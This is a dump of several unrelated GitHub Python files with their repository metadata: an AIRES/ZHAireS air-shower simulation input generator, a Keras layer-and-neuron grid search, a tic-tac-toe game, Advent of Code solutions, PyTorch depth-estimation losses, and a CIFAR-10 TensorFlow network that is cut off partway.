#np.array([v[1]*vxB[2]-v[2]*vxB[1],v[2]*vxB[0]-v[0]*vxB[2],v[0]*vxB[1]-v[1]*vxB[0]])# crossproduct\n vxvxB = vxvxB/np.linalg.norm(vxvxB)\n\n return np.array([np.dot(v,relpos),np.dot(vxB,relpos),np.dot(vxvxB,relpos)]).T # vector dot\n\n\n\ndef LinePlaneCollision(planeNormal, planePoint, rayDirection, rayPoint, epsilon=1e-6):\n\n\tndotu = planeNormal.dot(rayDirection)\n\tif abs(ndotu) < epsilon:\n\t\traise RuntimeError(\"no intersection or line is within plane\")\n\n\tw = rayPoint - planePoint\n\tsi = -planeNormal.dot(w) / ndotu\n\tPsi = w + si * rayDirection + planePoint\n\treturn Psi\n\n\n ##Define plane\n\t#planeNormal = np.array([0, 0, 1])\n\t#planePoint = np.array([0, 0, 5]) #Any point on the plane\n\n\t##Define ray\n\t#rayDirection = np.array([0, -1, -1])\n\t#rayPoint = np.array([0, 0, 10]) #Any point along the ray\n\n\t#Psi = LinePlaneCollision(planeNormal, planePoint, rayDirection, rayPoint)\n\t#print (\"intersection at\", Psi)\n\n\n\n\ndef CreateAiresInputHeader(TaskName, Primary, Zenith, Azimuth, Energy, RandomSeed=0.0, OutputFile=\"TestInput.inp\", OutMode=\"a\" ):\n\n#TaskName, the name of the task. All files in the run will have that name, and some extension. It is usually also the name of the .inp, but not necessarily\n#Primary [AIRES]: Proton, Iron, Gamma, or see Aires Manual\n#Zenith[deg, AIRES,deg]:\n#Azimuth[deg, AIRES,deg]:\n#Energy[EeV]\n#RandomSeed. A number from [0 to 1). 0 is that the seed is generated automatically by the script. \"Automatic\", leaves the work of setting a random seed to Aires.\n#output\n\n print (\"produce input file header on:\"+ OutputFile)\n\n base=os.path.basename(OutputFile)\n\n file= open(OutputFile, OutMode)\n file.write('\\n##############################################################################\\n')\n file.write('# Aires simulation header generated with CreateAiresInputHeader #\\n')\n file.write('################################################################################\\n')\n\n task='TaskName '+str(TaskName)+ '\\n'\n file.write(task)\n prim='PrimaryParticle '+str(Primary) + '\\n'\n file.write(prim)\n file.write('PrimaryEnergy {0:.5} EeV\\n'.format(float(Energy)))\n file.write('PrimaryZenAngle {0:6.5} deg\\n'.format(Zenith))\n file.write('PrimaryAzimAngle {0:.5} deg Magnetic\\n'.format(Azimuth))\n if(RandomSeed==0.0):\n seed=random.uniform(0, 1)\n else:\n seed=float(RandomSeed)\n if(RandomSeed!=\"Automatic\"):\n file.write('RandomSeed {0:1.9f}\\n'.format(seed))\n file.write('################################################################################\\n')\n file.close()\n\ndef CreateExampleSkeleton(OutputFile=\"TestInput.inp\", OutMode=\"a\"):\n\n print (\"produce example Skeleton ....\"+ OutputFile)\n\n base=os.path.basename(OutputFile)\n\n file= open(OutputFile, OutMode)\n file.write('\\n##############################################################################\\n')\n file.write('# Aires simulation skeleton example, generated with CreateExampleSkeleton #\\n')\n file.write('################################################################################\\n')\n file.write('#\\n')\n file.write('\\n#Configure the site\\n')\n file.write('AddSite Lenghu 38.870398 deg 92.334037 deg 2900.00 m\\n')\n file.write('Site Lenghu\\n')\n file.write('GeomagneticField 54.021 uT 57.43 deg 0.72 deg\\n')\n file.write('GroundAltitude 2900 m\\n')\n file.write('\\n#Set up thinning.\\n')\n file.write('Thinning 1E-4 Rel\\n')\n file.write('ThinningWFactor 0.06\\n')\n file.write('RLimsTables 100 m 3.5 km\\n')\n file.write('\\n#increase the number of observing levels (more detailed longitudinal files, at the expense of a bigger idf data file)\\n')\n file.write('ObservingLevels 510 100.000 km 2.9 km\\n')\n file.write('\\n#dont save ground or lgtpcles if you wont use them (waste space)\\n')\n file.write('SaveNotInFile lgtpcles All\\n')\n file.write('SaveNotInFile grdpcles All\\n')\n file.write('\\n#AIRES Misc Section\\n')\n file.write('PropagatePrimary On\\n')\n file.write('TotalShowers 1\\n')\n file.write('MaxCpuTimePerRun 120 min\\n')\n file.write('\\n#We make the Antenna time window tight to reduce output. Be sure to tune it for your needs.\\n')\n file.write('(this will produce 513 time bins, of wich 512 will be in the file, to have a power of 2)\\n')\n file.write('AntennaTimeMin -66 ns\\n')\n file.write('AntennaTimeMax 960 ns\\n')\n file.write('TimeDomainBin 2 ns\\n')\n file.write('\\n#Speed up sims for radio\\n')\n file.write('#increase the energy threshold up to 3MeV (specially if you are not interested in the ground particles)..saves up to 50% time\\n')\n file.write('ElectronCutEnergy 1 MeV\\n')\n file.write('ElectronRoughCut 1 MeV\\n')\n file.write('GammaCutEnergy 1 MeV\\n')\n file.write('GammaRoughCut 1 MeV\\n')\n file.write('\\n#creates an additional CoREAS compatible output\\n')\n file.write('CoREASOutput On\\n')\n file.write('\\n#removes from the fresnel time output the vector potential and the antena positions, leaving only antena number, time and electric field components\\n')\n file.write('ReducedDATOutput On\\n')\n file.write('################################################################################\\n')\n file.write('End\\n')\n file.write('################################################################################\\n')\n\n file.close()\n\n\n#this function reads he Aires .inp file and tries to extract information from the simulation parameters\n#however, note that using the .sry file is preferred to using the .inp files because:\n#Output is standirized: you dont know what you can find in an .inp file (leading spaces, commented lines, repeated keywords, etc)\n#Output is what really happened, not what the user whishe it would happen when he did his crappy .inp file.\n#This reader is oudated, and should be used with care\n\n\ndef ReadAiresInput(input_file,outmode):\n\n #there is a more pythonic way of opening files...but lets do things fast.\n #filepath = 'Iliad.txt'\n #with open(filepath) as fp:\n #for cnt, line in enumerate(fp):\n # print(\"Line {}: {}\".format(cnt, line))\n\n try:\n datafile=open(input_file,'r')\n except:\n print(\"file not found or invalid\")\n\n print(\"this reader is updated and should be used with care\")\n\n for line in datafile:\n ## print(line) #debug level 2\n\n if 'PrimaryZenAngle' in line:\n zen=float(line.split(' ',-1)[1])\n if outmode == 'GRAND':\n zen = 180-zen #conversion to GRAND convention i.e. pointing towards antenna/propagtion direction\n print('Found Zenith',zen) #debug level 1\n\n if 'PrimaryAzimAngle' in line:\n azim = float(line.split(' ',-1)[1])\n if outmode == 'GRAND':\n azim = azim +180 #conversion to GRAND convention i.e. pointing towards antenna/propagtion direction\n if azim>=360:\n azim= azim-360\n\n print('Found Azimuth',azim) #debug level 1\n\n if 'PrimaryEnergy' in line:\n energy = float(line.split(' ',-1)[1])\n unit= str(line.split(' ',-1)[2])\n\n if outmode == 'GRAND':\n if unit == \"eV\\n\":\n energy = energy *1e-18\n if unit == \"KeV\\n\":\n energy = energy *1e-15\n if unit == \"MeV\\n\":\n energy = energy *1e-12\n if unit == \"GeV\\n\":\n energy = energy *1e-9\n if unit == \"TeV\\n\":\n energy = energy *1e-6\n if unit == \"PeV\\n\":\n energy = energy *1e-3\n if unit == \"EeV\\n\":\n energy = energy\n\n if outmode == 'AIRES':\n if unit == \"eV\\n\":\n energy = energy *1e-9\n if unit == \"KeV\\n\":\n energy = energy *1e-6\n if unit == \"MeV\\n\":\n energy = energy *1e-3\n if unit == \"GeV\\n\":\n energy = energy\n if unit == \"TeV\\n\":\n energy = energy *1e3\n if unit == \"PeV\\n\":\n energy = energy *1e6\n if unit == \"EeV\\n\":\n energy = energy *1e9\n\n print('Found Energy',energy) #debug level 1\n\n if 'PrimaryParticle' in line:\n primarytype = str(line.split(' ',-1)[1])\n if primarytype[-1]=='\\n':\n primarytype=primarytype[0:-1]\n print('Found Primary',primarytype) #debug level 1\n\n try:\n zen\n except NameError:\n zen = 0 #If no zenith angle was included in the input file, AIRES defaults to 0\n if outmode == 'GRAND':\n zen = 180-0 #that translates to 180 in GRAND\n try:\n azim\n except NameError:\n azim = 0 #If no azimuth angle was included in the input file, AIRES defaults to 0\n if outmode == 'GRAND':\n azim = 0+180 #that translates to 180\n try:\n energy\n except NameError:\n print('warning energy not found, Aires has no default value, cannot continue')\n exit()\n try:\n primarytype\n except NameError:\n print('warning primary not found, Aires has no default value, cannot continue')\n exit()\n\n\n return zen,azim,energy,primarytype\n\n\nif __name__ == '__main__':\n\n #All ZHAireS/Aires input files can be dividied in\n #Header (with parameters that frequently change from shower to shower: TaskName, pirmary, zenith, azimuth,energy,randomseed)\n #Antennas (and if we have antenas, then the ZHAireS ON and TimeFresne ON)\n #Rest of the input (all other input parameters, provided in a separate file, that must end with End)\n #so, an input file is generated by calling\n #CreateAiresInputHeader\n #Something for the antennas (CreateAiresStarShapeInp)\n #AddAiresSkeletonInp\n\n if np.size(sys.argv)<=4:\n print (\"Arguments = zen (deg, Zhaires) az (deg, Zhaires) slope (deg) slope azimuth (deg).\")\n\n else:\n Zenith = float(sys.argv[1]) #in deg\n Azimuth = float(sys.argv[2]) #in deg\n alpha = float(sys.argv[3]) #in deg\n az_slope = float(sys.argv[4]) #in deg\n\n print (\"****Shower direction (zen, az) = (\"+str(Zenith)+','+str(Azimuth) +\") deg, Mountain slope = \"+str(alpha)+\",\"+str(az_slope)+\" deg\")\n\n Primary=\"Proton\"\n TaskName=\"TestShower\"\n Energy=0.123456789\n CreateAiresInputHeader(TaskName, Primary, Zenith, Azimuth, Energy)\n CreateAiresStarShapeInp(Zenith, Azimuth, alpha, az_slope,RandomFraction=0.1)\n CreateExampleSkeleton()\n\n\n\n\n\n\n","repo_name":"mjtueros/ZHAireS-Python","sub_path":"AiresInpFunctions.py","file_name":"AiresInpFunctions.py","file_ext":"py","file_size_in_byte":32414,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"33413125734","text":"import numpy as np\nimport pandas as pd\nimport keras\nfrom configparser import ConfigParser\nimport matplotlib.pyplot as plt\nimport seaborn as sb\nfrom tensorflow import keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom tensorflow.keras.wrappers.scikit_learn import KerasClassifier\nfrom sklearn.model_selection import cross_val_score\nimport statistics\n\n#Extract parameters from config file\nconfigFile = 'config.ini'\nconf = ConfigParser()\nconf.read(configFile)\nprint(conf.sections)\nhiddenLayers = conf['NN_Parameters']['HiddenLayers']\nhlStep = conf['NN_Parameters']['HlStep']\nneurons = conf['NN_Parameters']['Neurons']\nnStep = conf['NN_Parameters']['NStep']\nepochsP = conf['NN_Parameters']['EpochsP']\ntrainingFile = conf['File_parameters']['File']\nnumOfFeatures = conf['File_parameters']['NumOfFeatures']\nheatmap = conf['File_parameters']['Heatmap_file']\nmodelPath = conf['File_parameters']['ModelFile']\nclasses_num = conf['File_parameters']['classes']\n\nclasses = int(classes_num)\nhiddenLayersNumber = int(hiddenLayers)\nhiddenLayersStep = int(hlStep)\nneuronsNumber = int(neurons)\nneuronsStep = int(nStep)\nEpochs = int(epochsP)\nnumberOfFeatures = int(numOfFeatures)\ntraining_file = trainingFile\nheatmapFile = heatmap\n\ndef create_design_matrix():\n hiddenLayers = []\n neurons = []\n for i in range(2, int(hiddenLayersNumber) + int(hiddenLayersStep), int(hiddenLayersStep)):\n hiddenLayers.append(i)\n for j in range(20, int(neuronsNumber)+ int(neuronsStep), int(neuronsStep)):\n neurons.append(j)\n\n hnTupleList = [] # list of tuples each tuple has two parameters (numberOfhiddenLayers, numberOfNeurons)\n for h in hiddenLayers:\n for n in neurons:\n hnTupleList.append((h,n))\n return hnTupleList\n\ndef get_hiddenlayers_neurons_lists():\n hiddenLayers = []\n neurons = []\n for i in range(2, int(hiddenLayersNumber) + int(hiddenLayersStep), int(hiddenLayersStep)):\n hiddenLayers.append(i)\n for j in range(20, int(neuronsNumber)+ int(neuronsStep), int(neuronsStep)):\n neurons.append(j)\n return hiddenLayers, neurons\n\ndef data_preprocessor(csv_file):\n datasetfile = pd.read_csv(csv_file, comment='#')\n\n labels = datasetfile['Label']\n features = datasetfile.drop(columns=['Label'])\n features = features.values.astype('float32')\n labelsP= labels.values.astype('float32')\n labels = keras.utils.to_categorical(labelsP, num_classes=classes)\n return features, labels\n\nfeatures, labels = data_preprocessor(training_file)\n\n\"\"\"Creating compiled model with input tuple of numberOfHiddenLayers and NumberOfneurons\n\"\"\"\ndef create_model(hntuple):\n h, n = hntuple\n model = Sequential()\n #Input layer and first hidden layer.\n model.add(Dense(n, kernel_initializer = 'uniform', input_shape=(numberOfFeatures,), activation='relu'))\n\n\n for i in range(h-1):\n #2nd hidden layer\n model.add(Dense(n, kernel_initializer = 'uniform', activation='relu'))\n\n # #Output layer\n model.add(Dense(classes, kernel_initializer = 'uniform', activation='softmax'))\n\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n #model.fit(features, labels_train, epochs=Epochs, batch_size=10)\n\n return model\n\"\"\"This function traines and saves model accoding to a givin tuple contains\nthe numberOfHiddenLayers and numberOfNeurons\"\"\"\ndef save_model(hntuple):\n\n modelfile = modelPath + '_Model_' + str(hntuple[0]) + 'X' + str(hntuple[1]) + '.h5'\n model = create_model(hntuple)\n model.fit(features, labels, epochs=Epochs, batch_size=10)\n model.save(modelfile)\n print(\"\\nModel with path\" + modelfile + \" is saved..\\n\")\n return modelfile\n\n\n\"\"\"This function validates model according to a given tuple contains\nthe numberOfHiddenLayers and numberOfNeurons\nit uses 10 fold cross validation which gives an output of 10 values\nits output is the average of these 10 values\"\"\"\ndef validate_model(hntuple):\n\n classifier = KerasClassifier(build_fn = create_model, hntuple=hntuple, batch_size = 10, epochs = Epochs)\n results = cross_val_score(estimator = classifier, X = features, y = labels, cv = 10)\n average = statistics.mean(results)\n return average\n\ndef heatmap_file(accuracyList, heatmapFIle):\n hiddenLayers, neurons = get_hiddenlayers_neurons_lists()\n accuracyListCounter = 0\n accuracies = []\n for i in range(len(hiddenLayers)):\n alist = []\n for j in range(len(neurons)):\n # print(accuracyList[accuracyListCounter])\n # print(i,j)\n # accuracies[i][j] = accuracyList[accuracyListCounter]\n # print(accuracies[i][j])\n alist.append(accuracyList[accuracyListCounter])\n accuracyListCounter+=1\n accuracies.append(alist)\n\n accuracies = np.array(accuracies)\n\n heat_map = sb.heatmap(accuracies, annot=True, cmap=\"YlGnBu\", cbar_kws={'label': 'Model Performance', 'orientation': 'horizontal'}, fmt='.2f', annot_kws={'size': 6})\n heat_map.set_yticklabels(hiddenLayers, rotation=0)\n heat_map.set_xticklabels(neurons, rotation=0)\n plt.xlabel(\"Neurons\")\n plt.ylabel(\"Hidden Layers\")\n plt.savefig(heatmapFIle)\n\nhnTupleList = create_design_matrix()\n\nmodels_performance = {}\naccuracies = []\nfor i in range(len(hnTupleList)):\n \n hntuple = hnTupleList[i]\n print(\"Validating tuple {} (hidden layers and neurons)..\\n\\n Iteration {} of {} ..\\n\\n\\n\".format(hntuple, i+1, len(hnTupleList)))\n accuracy = validate_model(hntuple)\n models_performance.update({hntuple: accuracy})\n accuracies.append(accuracy)\n print(\"Accuracy after validation is :\\t{}\".format(accuracy))\n\nhntupleOfMaxAccuracy = max(models_performance, key=models_performance.get)\nmodelFile = save_model(hntupleOfMaxAccuracy)\n\nprint(\"Model Validation completed..\\n Model SAVED with highest accuracy is: {}\\n\".format(modelFile))\n# for key, value in models_performance.items():\n# \t print(\"Tuple {} has accuracy of {}\\n\".format(key, value))\naccuraciesList = []\nfor i in accuracies:\n i*=100\n accuraciesList.append(i)\n\n\nheatmap_file(accuraciesList, heatmapFile)\n","repo_name":"tkn-tub/encryption_detection","sub_path":"Main_Impl/ANNinPython/trainingScript.py","file_name":"trainingScript.py","file_ext":"py","file_size_in_byte":6109,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"28797895515","text":"import random\n\ndef printboard(board):\n b = (\n f\"{board[0][0]}|{board[0][1]}|{board[0][2]}\\n\"\n f\"- - -\\n\"\n f\"{board[1][0]}|{board[1][1]}|{board[1][2]}\\n\"\n f\"- - -\\n\"\n f\"{board[2][0]}|{board[2][1]}|{board[2][2]}\"\n )\n print(b)\n\ndef checkboard(board, input):\n if (\n board[0][0] == board[0][1] == board[0][2] == input\n or board[1][0] == board[1][1] == board[1][2] == input\n or board[2][0] == board[2][1] == board[2][2] == input\n or board[0][0] == board[1][0] == board[2][0] == input\n or board[0][1] == board[1][1] == board[2][1] == input\n or board[0][2] == board[1][2] == board[2][2] == input\n or board[0][0] == board[1][1] == board[2][2] == input\n or board[0][2] == board[1][1] == board[2][0] == input\n ):\n return True\n else:\n return False\n\nboard_dict = {\n \"1\": [0,0],\n \"2\": [0,1],\n \"3\": [0,2],\n \"4\": [1,0],\n \"5\": [1,1],\n \"6\": [1,2],\n \"7\": [2,0],\n \"8\": [2,1],\n \"9\": [2,2]\n}\ngame_over = False\ngame_in_process = True\nwins = losses = ties = 0\nuser_choice = \"x\"\ncomputer_choice = \"o\"\nrows, cols = (3, 3)\n\nwhile game_over is not True:\n board = [[\" \" for x in range(cols)] for x in range(rows)]\n open_spots = [str(i) for i in list(range(1,10))]\n\n goes_first = random.choice((0, 1))\n while game_in_process:\n if goes_first == 0:\n position = input(f\"Choose one of these numbers: {open_spots}\\n\")\n while position.isnumeric() == False or position not in open_spots:\n position = input(f\"Please choose a correct response: {open_spots}\\n\")\n\n i, j = board_dict.get(position)\n open_spots.remove(position)\n board[i][j] = user_choice\n printboard(board) \n game_won = checkboard(board, user_choice)\n if game_won:\n wins +=1\n game_in_process = False\n print(\"You won.\")\n elif len(open_spots) == 0:\n ties +=1\n game_in_process = False\n print(\"You tied.\")\n goes_first = 1\n else:\n position = str(random.choice(open_spots))\n i, j = board_dict.get(position)\n open_spots.remove(position)\n board[i][j] = computer_choice\n printboard(board)\n game_won = checkboard(board, computer_choice)\n if game_won:\n losses += 1\n game_in_process = False\n print(\"You lost.\")\n elif len(open_spots) == 0:\n ties +=1\n game_in_process = False\n print(\"You tied.\")\n goes_first = 0\n print()\n answer = input(\"Do you want to play again? Yes/No or y/n\\n\")\n while answer.lower() not in (\"yes\", \"y\", \"no\", \"n\"):\n answer = input(\"Please input a correct choice: Yes/No or y/n\\n\")\n if (answer.lower() in (\"yes\", \"y\")):\n game_in_process = True\n else:\n game_over = True\nprint(f\"You won {wins} time(s).\")\nprint(f\"You lost {losses} time(s).\")\nprint(f\"You tied {ties} time(s).\")","repo_name":"yipwk753/Python-Practice","sub_path":"games/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"15256244370","text":"class Directory :\r\n content = []\r\n parent = None\r\n name = \"\"\r\n def __init__(self, name, parent) :\r\n self.content = []\r\n self.name = name\r\n self.parent = parent\r\n \r\n def add(self, obj) :\r\n self.content.append(obj)\r\n\r\n def getDir(self, name) :\r\n for obj in self.content :\r\n if isinstance(obj, Directory) and obj.name == name :\r\n return obj\r\n return None\r\n \r\n def sum(self) :\r\n sum = 0\r\n for obj in self.content :\r\n sum += obj.sum()\r\n return sum\r\n\r\nclass File :\r\n size = 0\r\n def __init__(self, size) :\r\n self.size = size\r\n \r\n def sum(self) :\r\n return self.size\r\n\r\n\r\nIN = open(\"./Day07/input.txt\", \"r\").read().splitlines()\r\nfor i in range(len(IN)) :\r\n IN[i] = IN[i].split(\" \")\r\n\r\nIN = IN[1:]\r\n\r\ni = 0\r\ninit = Directory(\"root\", None)\r\ncurrent = init\r\ndone = False\r\nwhile i < len(IN) and not done:\r\n if IN[i][0] == \"$\" and IN[i][1] == \"ls\" :\r\n if i < len(IN) :\r\n i += 1\r\n else :\r\n break\r\n while IN[i][0] != \"$\" :\r\n if IN[i][0] == \"dir\" :\r\n current.add(Directory(IN[i][1], current))\r\n else :\r\n current.add(File(int(IN[i][0])))\r\n if i < len(IN)-1 :\r\n i += 1\r\n else :\r\n done = True\r\n break\r\n elif IN[i][0] == \"$\" and IN[i][1] == \"cd\" and IN[i][2] == \"..\" :\r\n current = current.parent\r\n if i < len(IN) :\r\n i += 1\r\n else :\r\n break\r\n elif IN[i][0] == \"$\" and IN[i][1] == \"cd\" :\r\n current = current.getDir(IN[i][2])\r\n if i < len(IN) :\r\n i += 1\r\n else :\r\n break\r\n\r\nResSmall = []\r\n# Add dir to res if sum(dir) < 100000\r\ndef addSmallDir(dir) :\r\n if dir.sum() < 100000 :\r\n ResSmall.append(dir)\r\n\r\n# Go through all dirs and add them to res\r\ndef goThroughSmallVersion(dir) :\r\n for obj in dir.content :\r\n if isinstance(obj, Directory) :\r\n addSmallDir(obj)\r\n goThroughSmallVersion(obj)\r\n\r\ngoThroughSmallVersion(init)\r\nMaxiSum = 0\r\nfor dir in ResSmall :\r\n MaxiSum += dir.sum()\r\n\r\nprint(MaxiSum)\r\n\r\n# Part 2\r\n\r\nspaceToFree = 70000000 - init.sum() \r\nspaceToFree = 30000000 - spaceToFree\r\n\r\nResBig = []\r\n# Add dir to res if sum(dir) > spaceToFree\r\ndef addBigDir(dir) :\r\n if dir.sum() >= spaceToFree :\r\n ResBig.append(dir)\r\n\r\n# Go through all dirs and add them to res\r\ndef goThroughBigVersion(dir) :\r\n for obj in dir.content :\r\n if isinstance(obj, Directory) :\r\n addBigDir(obj)\r\n goThroughBigVersion(obj)\r\n\r\ngoThroughBigVersion(init)\r\n\r\nprint(min(ResBig, key=lambda x: x.sum()).sum())","repo_name":"Thomega35/AOC","sub_path":"Day07/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"36891637367","text":"with open(\"instructions2a.txt\", \"r\") as f:\n lines = f.readlines()\n\ntot_surf = 0\ntot_ribbon = 0\nfor l in lines:\n l = l.split(\"\\n\")[0]\n l, w, h = map(int, l.split(\"x\"))\n surf = 2*l*w + 2*w*h + 2*h*l + min(l*w, w*h, h*l)\n tot_surf += surf\n\n ribbon = h*l*w + min(2*(l+w), 2*(w+h), 2*(h+l))\n tot_ribbon += ribbon\n \nprint (tot_surf)\nprint (tot_ribbon)\n","repo_name":"matteosan1/AoC","sub_path":"2015/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31973851924","text":"import torch\r\nfrom math import exp\r\nimport torch.nn.functional as F\r\nimport torch.nn as nn\r\n\r\n\r\ndef gaussian(window_size, sigma):\r\n gauss = torch.Tensor([exp(-(x - window_size // 2) ** 2 / float(2 * sigma ** 2)) for x in range(window_size)])\r\n return gauss / gauss.sum()\r\n\r\n\r\ndef create_window(window_size, channel=1):\r\n _1D_window = gaussian(window_size, 1.5).unsqueeze(1)\r\n _2D_window = _1D_window.mm(_1D_window.t()).float().unsqueeze(0).unsqueeze(0)\r\n window = _2D_window.expand(channel, 1, window_size, window_size).contiguous()\r\n return window\r\n\r\n\r\ndef ssim(img1, img2, val_range, window_size=11, window=None, size_average=True, full=False):\r\n L = val_range\r\n\r\n padd = 0\r\n (_, channel, height, width) = img1.size()\r\n if window is None:\r\n real_size = min(window_size, height, width)\r\n window = create_window(real_size, channel=channel).to(img1.device)\r\n\r\n mu1 = F.conv2d(img1, window, padding=padd, groups=channel)\r\n mu2 = F.conv2d(img2, window, padding=padd, groups=channel)\r\n\r\n mu1_sq = mu1.pow(2)\r\n mu2_sq = mu2.pow(2)\r\n mu1_mu2 = mu1 * mu2\r\n\r\n sigma1_sq = F.conv2d(img1 * img1, window, padding=padd, groups=channel) - mu1_sq\r\n sigma2_sq = F.conv2d(img2 * img2, window, padding=padd, groups=channel) - mu2_sq\r\n sigma12 = F.conv2d(img1 * img2, window, padding=padd, groups=channel) - mu1_mu2\r\n\r\n C1 = (0.01 * L) ** 2\r\n C2 = (0.03 * L) ** 2\r\n\r\n v1 = 2.0 * sigma12 + C2\r\n v2 = sigma1_sq + sigma2_sq + C2\r\n cs = torch.mean(v1 / v2) # contrast sensitivity\r\n\r\n ssim_map = ((2 * mu1_mu2 + C1) * v1) / ((mu1_sq + mu2_sq + C1) * v2)\r\n\r\n if size_average:\r\n ret = ssim_map.mean()\r\n else:\r\n ret = ssim_map.mean(1).mean(1).mean(1)\r\n\r\n if full:\r\n return ret, cs\r\n\r\n return ret\r\n\r\n\r\nclass RMSE_log(nn.Module):\r\n def __init__(self, eps=1e-8):\r\n super(RMSE_log, self).__init__()\r\n self.eps = eps\r\n\r\n def forward(self, fake, real):\r\n if not fake.shape == real.shape:\r\n _, _, H, W = real.shape\r\n fake = F.upsample(fake, size=(H, W), mode='bilinear')\r\n fake = F.relu(fake) + self.eps\r\n loss = torch.sqrt(torch.mean(torch.abs(torch.log(real) - torch.log(fake)) ** 2) + self.eps)\r\n return loss\r\n\r\n\r\nclass L1(nn.Module):\r\n def __init__(self):\r\n super(L1, self).__init__()\r\n\r\n def forward(self, fake, real):\r\n if not fake.shape == real.shape:\r\n _, _, H, W = real.shape\r\n fake = F.upsample(fake, size=(H, W), mode='bilinear')\r\n loss = torch.mean(torch.abs(10. * real - 10. * fake))\r\n return loss\r\n\r\n\r\nclass L1_log(nn.Module):\r\n def __init__(self):\r\n super(L1_log, self).__init__()\r\n\r\n def forward(self, fake, real):\r\n if not fake.shape == real.shape:\r\n _, _, H, W = real.shape\r\n fake = F.upsample(fake, size=(H, W), mode='bilinear')\r\n loss = torch.mean(torch.abs(torch.log(real) - torch.log(fake)))\r\n return loss\r\n\r\n\r\nclass RMSE(nn.Module):\r\n def __init__(self):\r\n super(RMSE, self).__init__()\r\n\r\n def forward(self, fake, real):\r\n if not fake.shape == real.shape:\r\n _, _, H, W = real.shape\r\n fake = F.upsample(fake, size=(H, W), mode='bilinear')\r\n loss = torch.sqrt(torch.mean(torch.abs(10. * real - 10. * fake) ** 2))\r\n return loss\r\n\r\n\r\nclass GradLoss(nn.Module):\r\n def __init__(self):\r\n super(GradLoss, self).__init__()\r\n\r\n # L1 norm\r\n def forward(self, grad_fake, grad_real):\r\n return torch.sum(torch.mean(torch.abs(grad_real - grad_fake)))\r\n\r\n\r\nclass NormalLoss(nn.Module):\r\n def __init__(self):\r\n super(NormalLoss, self).__init__()\r\n\r\n def forward(self, grad_fake, grad_real):\r\n prod = (grad_fake[:, :, None, :] @ grad_real[:, :, :, None]).squeeze(-1).squeeze(-1)\r\n fake_norm = torch.sqrt(torch.sum(grad_fake ** 2, dim=-1))\r\n real_norm = torch.sqrt(torch.sum(grad_real ** 2, dim=-1))\r\n\r\n return 1 - torch.mean(prod / (fake_norm * real_norm))\r\n\r\n","repo_name":"khan9048/Facial_depth_estimation","sub_path":"FaceDepth/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"38"} +{"seq_id":"17872517003","text":"import tensorflow as tf\nimport data_import as di\nimport random\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport itertools\nfrom sklearn.metrics import confusion_matrix\n\n\n'''Import data to learn and test'''\nbatches_names = [\"cifar-10-batches-py/data_batch_1\",\n \"cifar-10-batches-py/data_batch_2\",\n \"cifar-10-batches-py/data_batch_3\",\n \"cifar-10-batches-py/data_batch_4\",\n \"cifar-10-batches-py/data_batch_5\"]\ntraining_batch = di.give_one_big_batch(batches_names)\nlength_of_training_batch, _ = training_batch['labels'].shape\ntesting_batch = di.give_mini_batch('cifar-10-batches-py/test_batch')\n\n\n'''Network parameters'''\nn_hidden_1 = 1024 # 1st layer number of neurons\nn_input = 32*32*3 # CIFAR-10 data input (img shape: 32*32*3)\nn_classes = 10 # CIFAR-10 total classes (0-9 digits)\nhidden_layers = 1\nneurons_sequence = [n_input, n_hidden_1, n_classes]\n\nX = tf.placeholder(\"float\", [None, n_input]) # tf Graph input\nY = tf.placeholder(\"float\", [None, n_classes]) # tf Graph input\n\nweights = { # initialise weights\n 'h1': tf.Variable(tf.random_normal([n_input, n_hidden_1])),\n 'out': tf.Variable(tf.random_normal([n_hidden_1, n_classes]))\n}\nbiases = { # initialise biases\n 'b1': tf.Variable(tf.random_normal([n_hidden_1])),\n 'out': tf.Variable(tf.random_normal([n_classes]))\n}\n\n\ndef multilayer_perceptron(x):\n \"\"\"Function witch creates NN. Argument is a placeholder for input data, returns model of NN\"\"\"\n layer_1 = tf.nn.relu(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\n out_layer = tf.add(tf.matmul(layer_1, weights['out']), biases['out'])\n return out_layer\n\n\ndef l1_loss(params):\n return tf.reduce_sum(tf.abs(params))\n\n\ndef plot_confusion_matrix(cm, classes, normalize=False, title='Confusion matrix', cmap=plt.cm.Blues):\n \"\"\"This function prints and plots the confusion matrix. Normalization can be applied by setting `normalize=True`.\"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n print(cm)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt), horizontalalignment=\"center\", color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.tight_layout()\n\n\n'''Construct model'''\nlogits = multilayer_perceptron(X)\nregulariser = tf.nn.l2_loss(weights['h1'])\n# regulariser = l1_loss(weights['h1'])\n# regulariser = l1_loss(weights['h1']) + tf.nn.l2_loss(weights['h1'])\n# regulariser = 0\n\n\n'''Learning parameters'''\n# learning_rate = 0.005\ntraining_epochs = 20\nbatch_size = 100\n\n\nglobal_step = tf.Variable(0, trainable=False)\n'''\nstarter_learning_rate = 0.3\nend_learning_rate = 0.0001\ndecay_steps = 10000\nlearning_rate = tf.train.polynomial_decay(starter_learning_rate, global_step, 